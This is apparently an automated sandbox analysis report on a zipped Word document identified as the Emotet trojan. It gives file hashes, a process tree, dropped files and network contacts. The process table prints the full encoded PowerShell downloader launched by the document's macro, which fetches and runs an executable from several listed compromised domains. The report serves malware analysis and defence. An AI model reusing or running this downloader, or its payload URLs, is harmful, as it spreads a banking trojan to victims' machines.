File name: | 349d13ca99ab03869548d75b99e5a1d0.zip |
Full analysis: | https://app.any.run/tasks/2e45046a-69a9-4c1d-a11e-6dbd1374929d |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | June 27, 2022, 13:49:00 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 5BB85FC60688E2EEAAE5F2C0D4DAAB64 |
SHA1: | D5C8CBC513D92CCF5FE4E2FF836CCB6A05FA097B |
SHA256: | E26B12859CE5D6654399EC144BA5196FA97BC04CF36D6ED3881501A9478B0338 |
SSDEEP: | 1536:4CpkVTh0GSnrjdqD8z9DogHmO6Sxwo5AlaJoOtKp:4dljE/dm8xDOmxD5AoJoOtq |
.zip | | | ZIP compressed archive (100) |
---|
ZipRequiredVersion: | 788 |
---|---|
ZipBitFlag: | 0x0001 |
ZipCompression: | Deflated |
ZipModifyDate: | 2021:03:22 18:29:13 |
ZipCRC: | 0xe52c1491 |
ZipCompressedSize: | 83799 |
ZipUncompressedSize: | 193480 |
ZipFileName: | 1word.doc |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2936 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\349d13ca99ab03869548d75b99e5a1d0.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | Explorer.EXE |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 | ||||
1404 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\1word.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | Explorer.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2688 | powershell -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAHMAcQBQAGcARABmAGkAXABkAFEASwBHAHAAdwBDAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAYwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAGMAVQBSAGkAYABUAFkAUAByAG8AdABgAE8AQwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACsAJwAgACcAKQArACcAdAAnACsAKAAnAGwAcwAnACsAJwAxACcAKQArACgAJwAxACwAJwArACcAIAB0AGwAcwAnACkAKQA7ACQAUQBmAGkAZgBvAHYANwAgAD0AIAAoACgAJwBFACcAKwAnADIAOQAzADcAJwApACsAJwBhACcAKwAnADQAeQAnACkAOwAkAEUAZABnAHYAMwA4AGIAPQAoACgAJwBNAHkAdQAnACsAJwBuACcAKQArACcAcQAnACsAJwB3AGwAJwApADsAJABWAGwAeABpAHcANgA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHkAJwArACcAQQBwACcAKwAnAFMAJwArACgAJwBxACcAKwAnAHAAZwBkACcAKQArACgAJwBmAGkAeQBBACcAKwAnAHAARAAnACkAKwAnAHEAJwArACgAJwBrACcAKwAnAGcAcAB3AGMAeQBBACcAKQArACcAcAAnACkALQBDAFIARQBwAGwAYQBDAEUAIAAoACcAeQBBACcAKwAnAHAAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAZgBpAGYAbwB2ADcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFUAdAB1AHQAZQAzAHcAPQAoACgAJwBTAF8AJwArACcAegB5AGsAJwApACsAJwA3AHIAJwApADsAJABCAHkAMQBiADIAdgB4AD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBiAGMATABpAEUATgB0ADsAJABNAHYANQBrAGkAOAB5AD0AKAAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAZgBvAHIAdAAnACsAJwBjACcAKQArACgAJwBvAGwAbAAnACsAJwBpAG4AJwApACsAKAAnAHMAYQAnACsAJwB0AGgAbAAnACkAKwAoACcAZQAnACsAJwB0AGUAZgAnACkAKwAnAGEAYwAnACsAJwB0ACcAKwAnAG8AJwArACcAcgB5ACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvAHcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAZwAnACsAJwBlAHQAJwArACcAbQAnACsAKAAnAGkAJwArACcAbgBnAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAGYAbwAnACsAJwByAHUAJwArACcAbQAvACcAKwAoACcAcAAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAZwAnACkAKwAnAGEAZgAnACsAJwBmACcAKwAoACcAYQAtACcAKwAnAG0AdQAnACkAKwAoACcAcwAnACsAJwBpAGMALgAnACkAKwAoACcAYwBvACcAKwAnAG0ALwBjACcAKQArACgAJwBnAGkALQAnACsAJwBiAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBVAE0AJwArACcALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8AZgAnACsAKAAnAHIAYQBuACcAKwAnAGsAJwArACcAZgB1AHIAJwApACsAJwB0AGUAJwArACgAJwBsAGYAJwArACcAYQAnACkAKwAoACcAcgAnACsAJwBvAGwAJwArACcAaQAnACsAJwBsAGwAbwAnACsAJwAuAGMAbwBtAC8AbABhAHMAJwApACsAKAAnAGUAJwArACcAdQAvAGMANwAnACsAJwAvACcAKQArACcAKgAnACsAKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AZQB2AGkAbABuAGUAcgBkACcAKQArACcALgBvACcAKwAnAHIAZwAnACsAKAAnAC8AYwBnAGkALQAnACsAJwBiACcAKQArACgAJwBpAG4AJwArACcALwBuAFUAJwApACsAKAAnAGkAJwArACcALwAqAGgAJwApACsAJwB0ACcAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBnAGEAJwArACcAcAAnACkAKwAnAGUAJwArACcAcwBtACcAKwAoACcAbQAuAG8AcgAnACsAJwBnAC8AbwAnACkAKwAoACcAbAAnACsAJwBkAC8AJwArACcATQAvACoAaAB0ACcAKQArACcAdABwACcAKwAnADoALwAnACsAKAAnAC8AJwArACcAZwByACcAKQArACgAJwBtACcAKwAnAGwAJwArACcALgBuAGUAdAAnACkAKwAoACcALwB3ACcAKwAnAHAAJwApACsAKAAnAC8AQwAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8AbgAzAGwAeQBjADcAPQAoACgAJwBQACcAKwAnAGEAaAAnACkAKwAnADYAeQAnACsAJwBoADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARABjAGsAeQBpAGwAZwAgAGkAbgAgACQATQB2ADUAawBpADgAeQApAHsAdAByAHkAewAkAEIAeQAxAGIAMgB2AHgALgAiAGQATwBXAGAATgBgAEwAbwBhAGQAZgBJAGwARQAiACgAJABEAGMAawB5AGkAbABnACwAIAAkAFYAbAB4AGkAdwA2ADkAKQA7ACQAUQBmAGQAcwBpAGYAMAA9ACgAKAAnAE0AJwArACcAMAA2ACcAKQArACcAMwBpACcAKwAnAG4ANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVgBsAHgAaQB3ADYAOQApAC4AIgBsAEUATgBgAGcAdABoACIAIAAtAGcAZQAgADMAMgAyADUANAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABWAGwAeABpAHcANgA5ACkAOwAkAE4ANQBkADYAXwAwAHoAPQAoACgAJwBZADgAJwArACcAZQAnACkAKwAnAHYAJwArACgAJwAyAHUAJwArACcAdAAnACkAKQA7AGIAcgBlAGEAawA7ACQATwBiAGYAMwAwADUAbwA9ACgAKAAnAEoANQAxACcAKwAnAGkAJwApACsAJwBkACcAKwAnAG8AaQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAeQBmAG4AeABrAHgAPQAoACgAJwBLADYAawBpADUAJwArACcANQAnACkAKwAnADIAJwApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1404 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR65FF.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1404 | WINWORD.EXE | C:\Users\admin\Desktop\~$1word.doc | pgc | |
MD5:73A8A4CF62FB3F3CA3B25862DACDDBC1 | SHA256:41B9877B24758F166F34ED6D94EBE2132EFA409DA7B6A1F21DC77BB32A720ADC | |||
1404 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\1word.doc.LNK | lnk | |
MD5:FEB0CB607302D04656E9584EAB76F2C0 | SHA256:1E0978E4A953101793238AEAE66623BC92BD6E59CF0B6BD353D3B4E810834902 | |||
1404 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:0F00965CD4F51AC98BA7CFBF32FD9AAC | SHA256:8C6068E2BCE8D30004AA59394686F112F69171FE06D126CAB77F0B51CF41EC51 | |||
2688 | powershell.exe | C:\Users\admin\Sqpgdfi\Dqkgpwc\E2937a4y.exe | html | |
MD5:70A6D12D164C524F3DD4C4CE4A4DDED5 | SHA256:5B7BFD3E4D1EFDE17243AB7788918809CF3F1977E7D3D125392A5A8F6ACAB68A | |||
1404 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF54AD22481C56A1FE.TMP | binary | |
MD5:C5B9E0DFD3835566ED368860FA84EB22 | SHA256:22D94806A17F6DB0B08E31C87DA91D28150C8143A1F2C08EABE275EE4F5D066A | |||
1404 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:94D84221F595A3D9A512D4788564A947 | SHA256:2B6ED04920A2DB69269CD316D30457669DB72DE3BBAE462E0816D17A58C3835B | |||
2688 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:D3C284009A5790C3AA90D7C5D620CA65 | SHA256:6C12FFF497059706D50431BB47C624FA24A8A7F9B6D52B2AB251FDC588E00E39 | |||
2688 | powershell.exe | C:\Users\admin\AppData\Local\Temp\penfbj3o.c0r.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2688 | powershell.exe | C:\Users\admin\AppData\Local\Temp\lwvp342x.da2.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2688 | powershell.exe | GET | 200 | 193.141.3.68:80 | http://evilnerd.org/cgi-bin/nUi/ | DE | html | 4.56 Kb | suspicious |
2688 | powershell.exe | GET | 200 | 193.141.3.69:80 | http://gaffa-music.com/cgi-bin/UM/ | DE | html | 4.56 Kb | malicious |
2688 | powershell.exe | GET | 500 | 85.214.109.143:80 | http://grml.net/wp/C/ | DE | html | 1.29 Kb | malicious |
2688 | powershell.exe | GET | 404 | 217.76.150.100:80 | http://frankfurtelfarolillo.com/laseu/c7/ | PT | html | 845 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 192.168.100.2:53 | — | — | — | whitelisted |
2688 | powershell.exe | 85.214.109.143:80 | grml.net | Strato AG | DE | suspicious |
2688 | powershell.exe | 217.76.150.100:80 | frankfurtelfarolillo.com | 1&1 Internet SE | PT | unknown |
2688 | powershell.exe | 193.141.3.68:80 | evilnerd.org | Strato AG | DE | malicious |
2688 | powershell.exe | 193.141.3.69:80 | gaffa-music.com | Strato AG | DE | malicious |
2688 | powershell.exe | 173.247.249.97:80 | fortcollinsathletefactory.com | InMotion Hosting, Inc. | US | suspicious |
Domain | IP | Reputation |
---|---|---|
www.microsoft.com |
| whitelisted |
fortcollinsathletefactory.com |
| malicious |
getming.com |
| malicious |
dns.msftncsi.com |
| shared |
gaffa-music.com |
| unknown |
frankfurtelfarolillo.com |
| malicious |
evilnerd.org |
| suspicious |
gapesmm.org |
| malicious |
grml.net |
| malicious |